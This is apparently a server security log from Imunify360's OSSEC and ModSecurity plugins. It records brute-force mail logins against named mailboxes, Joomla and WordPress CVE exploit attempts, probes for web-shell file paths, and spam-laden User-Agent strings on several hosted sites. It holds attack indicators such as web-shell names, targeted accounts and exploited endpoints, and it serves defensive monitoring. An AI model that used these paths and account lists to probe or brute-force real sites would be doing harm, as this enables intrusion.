name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:31:47 dovecot_login authenticator failed for H=(c5DVmEF6Z) [64.113.5.63]:43253: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: modsec
rule: 77469916
abuser: 103.18.77.223
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-d9559e7ab093c1793a8edc64f7a7a8b1.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:32:06 dovecot_login authenticator failed for H=(KrE9hRX) [64.113.5.63]:21841: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:33:04 dovecot_login authenticator failed for H=(VgPXmI) [64.113.5.63]:52905: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-07 20:33:24 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:34:01 dovecot_login authenticator failed for H=(dXZzUmQe) [64.113.5.63]:53332: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:34:58 dovecot_login authenticator failed for H=(RVpkXla0bX) [64.113.5.63]:54836: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:35:55 dovecot_login authenticator failed for H=(T5VsI5O) [64.113.5.63]:45315: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:36:14 dovecot_login authenticator failed for H=(r33lb0) [64.113.5.63]:49267: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:37:11 dovecot_login authenticator failed for H=(eA3LLRFR) [64.113.5.63]:31877: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:38:08 dovecot_login authenticator failed for H=(IeZTzUd0) [64.113.5.63]:55419: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:39:06 dovecot_login authenticator failed for H=(bekdTLzE) [64.113.5.63]:34880: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:40:03 dovecot_login authenticator failed for H=(7jI1Epuy7a) [64.113.5.63]:11413: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:40:41 dovecot_login authenticator failed for H=(2lX3KAn) [64.113.5.63]:57393: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-07 20:40:48 dovecot_login authenticator failed for H=(static.ftth.rcr.117.254.104.107.bsnl.in) [125.23.155.110]:60366: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783437097426.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.130.12
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wireless-presentation-solutions HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:41:00 dovecot_login authenticator failed for H=(XRSjSykQw) [64.113.5.63]:45492: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.113.5.63
country_id: 6252001
description:
2026-07-07 20:41:58 dovecot_login authenticator failed for H=(UATLmUe) [64.113.5.63]:64028: 535 Incorrect authentication data (set_id=sales@alnayza.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-07 20:43:05 dovecot_login authenticator failed for H=(54.126.103.87.rev.vodafone.pt) [125.19.218.50]:45516: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-07 20:43:23 dovecot_login authenticator failed for H=([192.252.220.90]) [195.222.43.138]:55722: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-07 20:47:04 dovecot_login authenticator failed for H=([80.233.12.109]) [41.224.62.206]:59693: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-07 20:47:14 dovecot_login authenticator failed for H=(abts-mh-dynamic-221.40.169.122.airtelbroadband.in) [152.52.198.42]:46336: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.166.113.230
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:86568.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:52da3dc75aba8860c73e0b27b9f351afa4ba1c7a||Title:0x65a9cb01||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.204.42.226
country_id: 1269750
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/combinations/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.49
country_id: 1668284
description:
2026-07-07 20:52:52 dovecot_login authenticator failed for H=([14.51.12.142]) [101.13.5.49]:36276: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.38.105.241
country_id: 953987
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25835.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2c8fa7bfd5d9964394545d3d3e2dcade0ab154cc||Title:hwpan0c7bx8rdvj3||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.193
country_id: 2287781
description:
2026-07-07 20:57:46 dovecot_login authenticator failed for H=([102.38.3.104]) [160.154.84.193]:26693: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-07 20:57:28 dovecot_login authenticator failed for H=(92x255x196x185.static-customer.kzn.ertelecom.ru) [106.247.22.181]:46529: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-07 21:01:48 dovecot_login authenticator failed for H=([182.95.26.40]) [222.97.195.179]:51158: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-07 21:02:06 dovecot_login authenticator failed for H=([182.95.185.14]) [50.212.27.150]:57212: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.63.82.11
country_id: 3686110
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/25/investment-on-private-sector/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-07 21:06:12 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [182.95.150.106]:34380: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-07 21:07:10 dovecot_login authenticator failed for H=([182.79.31.79]) [110.227.211.82]:36580: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.64.209.249
country_id: 3017382
description:
2026-07-07 21:07:29 dovecot_login authenticator failed for H=82-64-209-249.subs.proxad.net ([121.202.206.76]) [82.64.209.249]:34038: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 201.145.120.232
country_id: 3996063
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://wiki.continue.community/index.php?title=Tudo_Sobre_o_Jogo_do_Bal%C3%A3o_na_Jugabet:_C%C3%B3digo,_App_e_Confiabilidade\">jogo do bal\xc3\xa3o</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/cache.php||SC:/home/keralapeople/public_html/images/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: www.ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ahsmarine/public_html/wp-content/uploads/admin.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.194.39.64
country_id: 1835841
domain: www.ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.32.154
country_id: 1819730
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/ddgalaxy/reach.ddgalaxy.in/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-07 21:23:02 dovecot_login authenticator failed for H=([124.195.255.12]) [50.187.155.130]:35354: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-07 21:23:15 dovecot_login authenticator failed for H=([36.135.100.48]) [183.82.56.12]:53496: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.32.154
country_id: 1819730
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/help.php||SC:/home/ddgalaxy/reach.ddgalaxy.in/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.32.154
country_id: 1819730
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/fungsi.php||SC:/home/ddgalaxy/reach.ddgalaxy.in/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-07 21:24:44 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([45.179.200.156]) [76.133.97.153]:47150: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.207.227.188
country_id: 6252001
description:
2026-07-07 21:24:58 dovecot_login authenticator failed for H=173-207-227-188.cpe.cableone.net ([49.124.155.154]) [173.207.227.188]:54106: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-07 21:26:40 dovecot_login authenticator failed for H=([176.119.132.230]) [118.220.149.121]:58008: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-07 21:26:11 dovecot_login authenticator failed for H=(162.144-60-66-biz.sta.surewest.net) [202.88.209.51]:54842: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-07 21:30:34 dovecot_login authenticator failed for H=(host-176-36-139-231.b024.la.net.ua) [101.13.4.120]:60746: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.23.227
country_id: 248816
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/home-theatre-is-not-a-luxury-it-is-a-trend-of-a-covid-era-report-on-kerala-kaumudi HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmctradeflow/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-07 21:34:39 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([49.124.145.56]) [112.120.115.152]:58496: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-07 21:35:03 dovecot_login authenticator failed for H=([31.222.6.25]) [125.130.102.172]:54872: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.240.110
country_id: 1835841
description:
2026-07-07 21:35:55 dovecot_login authenticator failed for H=([121.165.36.99]) [112.164.240.110]:54943: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-07 21:36:23 dovecot_login authenticator failed for H=([128.185.187.2]) [136.35.246.152]:41140: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 160.202.35.237
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastaxfvuwk.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-07 21:39:25 dovecot_login authenticator failed for H=([82.102.149.88]) [207.254.40.89]:59052: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-07 21:39:46 dovecot_login authenticator failed for H=(abts-mum-static-140.111.170.122.airtelbroadband.in) [14.42.47.150]:59479: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.196
country_id: 1733045
description:
2026-07-07 21:38:53 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [49.124.159.196]:50324: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.190.209.252
country_id: 1168579
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/11/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77281327
abuser: 39.194.2.233
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.147.235.124
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/dead-or-alive\">viagra mechanism of action</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.18.77.223
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-5bbb042ba67ea629ff01efaa3b79d883.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 91.92.243.156
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_mchwml/fonts/shxt.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.206.52
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/interceptorgloba/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.206.52
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/upload/wp-info.php||SC:/home/interceptorgloba/public_html/upload||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-07 21:51:31 dovecot_login authenticator failed for H=([85.12.248.68]) [119.192.219.77]:59946: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 47.91.104.88
country_id: 290557
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://vird.co/go/livetogelterlengkap\">Live Togel Terlengkap</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-07 21:52:07 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([184.170.245.145]) [83.255.209.245]:48344: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.184.36.54
country_id: 1819730
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/var/www/html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.184.36.54
country_id: 1819730
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/var/www/html/wp-includes||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 154.195.108.171
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://ciceroleather.com\">Kraken \xd1\x87\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb7 Tor: \xd0\xba\xd0\xb0\xd0\xba \xd0\xb8\xd0\xb7\xd0\xb1\xd0\xb5\xd0\xb6\xd0\xb0\xd1\x82\xd1\x8c CAPTCHA \xd0\xb8 \xd0\xb4\xd0\xb2\xd1\x83\xd1\x85\xd1\x84\xd0\xb0\xd0\xba\xd1\x82\xd0\xbe\xd1\x80\xd0\xbd\xd0\xbe\xd0\xb9 \xd0\xb0\xd1\x83\xd1\x82\xd0\xb5\xd0\xbd\xd1\x82\xd0\xb8\xd1\x84\xd0\xb8\xd0\xba\xd0\xb0\xd1\x86\xd0\xb8\xd0\xb8</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-07-07 21:59:47 dovecot_login authenticator failed for H=([211.178.165.251]) [188.126.240.80]:37000: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-07-07 22:00:27 dovecot_login authenticator failed for H=(domi.static.gvt.net.br) [41.65.118.172]:60000: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 2.27.165.115
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-07 22:01:48 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [51.162.194.94]:40686: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 209.99.184.194
country_id: 2658434
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:uarc6nd018.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://miklagaard.no/index.php?title=User:IdaMustar296125\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.166.173
country_id: 1835841
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/fefkadirectors/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.166.173
country_id: 1835841
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/upload/wp-info.php||SC:/home/fefkadirectors/public_html/upload||


plugin: modsec
rule: 77469916
abuser: 209.99.184.194
country_id: 2658434
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:uax8py5yfh.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/yohoho\">yohoho</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.54.68.150
country_id: 3439705
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/gallo-accoustics-round-sound?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-07 22:22:51 dovecot_login authenticator failed for H=([193.46.192.20]) [220.77.214.59]:48559: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-07 22:23:12 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi ([128.185.247.254]) [80.223.192.112]:47076: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-07 22:26:16 dovecot_login authenticator failed for H=(64-251-149-81.fidnet.com) [41.224.62.206]:46997: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.253.71
country_id: 1835841
description:
2026-07-07 22:26:40 dovecot_login authenticator failed for H=([74.208.177.56]) [112.164.253.71]:38383: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-07 22:27:04 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([67.201.57.102]) [90.230.212.29]:35520: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-07 22:27:21 dovecot_login authenticator failed for H=([180.250.112.148]) [222.97.195.179]:36690: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 157.66.47.83
country_id: 1562822
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.196.164.246
country_id: 3175395
domain: globalgroupoman.com
description:
